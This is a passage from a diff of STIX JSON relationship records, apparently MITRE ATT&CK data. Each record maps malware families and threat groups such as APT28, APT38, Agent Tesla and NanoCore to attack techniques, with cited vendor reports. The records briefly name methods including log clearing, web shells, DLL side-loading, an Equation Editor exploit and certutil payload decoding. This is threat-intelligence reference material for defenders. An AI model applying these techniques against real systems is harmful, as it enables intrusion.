"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains commands to list files and directories, as well as search for files matching certain extensions from a defined list.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0d8aa058-426a-45c9-af5b-898746ae5862", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "description": "[Carbanak](https://attack.mitre.org/groups/G0008) used legitimate programs such as AmmyAdmin and Team Viewer for remote interactive C2 to target systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--af1514c0-0e58-4878-a409-9804a7ce5e0b", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "modified": "2019-03-22T19:59:27.075Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Group-IB Anunak", + "description": "Group-IB and Fox-IT. (2014, December). Anunak: APT against financial institutions. Retrieved April 20, 2016.", + "url": "http://www.group-ib.com/files/Anunak_APT_against_financial_institutions.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--fd518b7a-b35d-4689-89f6-525efbeee18f", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.885Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig Oct 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.059Z", + "id": "relationship--3b3435a2-6a24-4527-be6f-03d09ef2b917", + "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "modified": "2019-03-25T16:53:38.860Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about the OS and computer name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f19234f6-5b59-4229-aae1-70df380a076a", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) has used DLL side-loading.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--71ede2de-7e5f-49fa-ac07-9322ef4857ae", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) searches for specific directories on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.533Z", + "id": "relationship--e8906575-d90c-4d56-9fb7-bba3560bbeba", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.216Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used tcping.exe, similar to [Ping](https://attack.mitre.org/software/S0097), to probe port status on systems of interest.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0d889b2d-eda4-45dc-99bf-c530b7d4b05f", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.552Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) exploits CVE-2017-11882 in Microsoft\u2019s Equation Editor to execute a process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:44:04.945Z", + "id": "relationship--3f60930f-e055-4a83-b8a5-fa84c139ee5b", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.428Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "source_name": "Talos Agent Tesla Oct 2018", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Remcos](https://attack.mitre.org/software/S0332) uses RC4 and base64 to obfuscate data, including Registry entries and file paths.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:55:20.856Z", + "id": "relationship--71a121ba-b01c-418c-af8d-63df2cec70de", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "modified": "2019-04-19T14:39:53.099Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Brumaghin, E., Unterbrink, H. (2018, August 22). Picking Apart Remcos Botnet-In-A-Box. Retrieved November 6, 2018.", + "source_name": "Talos Remcos Aug 2018", + "url": "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can load any files onto the infected machine to execute.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:18:28.775Z", + "id": "relationship--75f88090-55cb-4b3b-84af-cf51058c3ccc", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "modified": "2019-06-04T19:40:43.672Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + }, + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Epic](https://attack.mitre.org/software/S0091) collects the OS version, hardware information, computer name, available system memory status, disk space information, and system and user language settings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:55:48.073Z", + "id": "relationship--66b026b6-af1e-47a6-9c3d-b853e2130b68", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:43.108Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) can open a remote command-line interface and execute commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:05:36.512Z", + "id": "relationship--13219288-d8b3-4464-a173-923ed8dfae0a", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "modified": "2019-04-17T20:47:23.989Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "source_name": "PaloAlto NanoCore Feb 2016", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[APT38](https://attack.mitre.org/groups/G0082) clears Window Event logs and Sysmon logs from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:27:25.239Z", + "id": "relationship--69b349cf-c086-497b-8339-514d4a448bfe", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.373Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) is a Web shell that appears to be exclusively used by [Threat Group-3390](https://attack.mitre.org/groups/G0027). It is installed as an ISAPI filter on Exchange servers and shares characteristics with the [China Chopper](https://attack.mitre.org/software/S0020) Web shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0dee5507-6e61-4244-86a8-c7e8a34469da", + "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute the command net start to interact with services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bae7f2fb-99d8-4acf-b61e-f37a215aa82e", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "source_name": "Emissary Trojan Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "Some [Volgmer](https://attack.mitre.org/software/S0180) variants add new services with display names generated by a list of hard-coded strings such as Application, Background, Security, and Windows, presumably as a way to masquerade as a legitimate service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e5a99bb2-c6d6-4a9c-bf31-4edd1d602c4e", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:03.126Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "source_name": "US-CERT Volgmer 2 Nov 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + }, + { + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "source_name": "Symantec Volgmer Aug 2014", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) is capable of persisting via the Registry Run key or a .lnk file stored in the Startup directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bcdbb8dc-87e5-4f29-8ff2-d660e53015cb", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.", + "source_name": "Unit 42 SeaDuke 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Get-TimedScreenshot Exfiltration module can take screenshots at regular intervals.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--792c5ad3-87ca-473f-998b-654f29a5b10f", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.258Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[APT19](https://attack.mitre.org/groups/G0073) used Base64 to obfuscate commands and the payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--59cccc5a-f6f9-4a2f-aa74-2b7235b1855c", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.245Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to discover and manipulate Windows services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b7601a08-a52d-4daa-acb9-2f5e3392b6c3", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[Net Crawler](https://attack.mitre.org/software/S0056) uses Windows admin shares to establish authenticated sessions to remote systems over SMB as part of lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e89d06bc-31f3-49c0-a555-360eeff7f7c6", + "source_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) collects the victim\u2019s username and whether that user is an admin.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--62bd74e2-ca03-4564-ae9b-75637c4c6acf", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.436Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--bc1c5d97-5e95-4ba3-bf61-ffe3de56d508", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.822Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.070Z", + "id": "relationship--b349ef5f-4a05-4eef-afe4-1543b8c832fa", + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "modified": "2019-03-25T16:55:26.213Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "iSIGHT Sandworm 2014", + "description": "Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html" + }, + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has run a keylogger plug-in on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bbd9b8d7-431c-44fa-95ac-61f73271ae92", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.799Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "source_name": "Securelist BlackEnergy Nov 2014", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) stores information gathered from the endpoint in a file named 1.hwp.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--74edb7f4-4c3b-4573-abb0-c4842032b6c3", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) uses Tor for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0e113a7f-2aba-4dc6-b4fc-4c0f0d013c3d", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[RIPTIDE](https://attack.mitre.org/software/S0003) is a RAT that communicates with HTTP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fb6a804a-1929-4c13-a78d-1cf724c09e77", + "source_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "source_name": "Moran 2014", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "An [APT28](https://attack.mitre.org/groups/G0007) macro uses the command certutil -decode to decode contents of a .txt file storing the base64 encoded payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--921c2a85-eab7-4cfc-9ac5-98a463262c17", + "source_ref": 